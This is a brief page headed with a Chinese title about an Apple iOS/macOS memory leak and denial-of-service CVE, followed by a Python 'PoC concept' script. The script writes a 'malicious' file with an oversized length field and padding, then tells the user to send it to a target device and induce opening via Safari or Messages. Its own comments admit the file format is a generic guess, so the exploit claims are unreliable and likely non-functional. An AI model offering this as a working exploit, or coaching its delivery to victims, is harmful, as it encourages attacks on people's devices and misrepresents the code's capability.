CVE-2026-28941 Apple iOS/macOS内存泄露与拒绝服务漏洞

# PoC Concept for CVE-2026-28941 (Memory Corruption/Leak) # This script generates a crafted file structure likely to trigger the parsing issue. # Note: The specific file format is obfuscated in the advisory, this is a generic template. import struct def generate_malicious_file(filename): """ Generates a file with a malformed header to trigger the improved checks bypass. """ with open(filename, 'wb') as f: # Write a valid magic number (example for a generic file type) f.write(b'\x00\x01\x00\x00') # Write a crafted size field that causes an integer overflow or OOB read # Setting an abnormally large size value malicious_size = 0xFFFFFFFF f.write(struct.pack('<I', malicious_size)) # Fill rest of the file with padding or specific payload # The payload might be designed to leak memory when read back payload = b'A' * 100 f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Send this file to a target device and induce opening via Safari or Messages.") if __name__ == "__main__": generate_malicious_file("cve_2026_28941_poc.bin")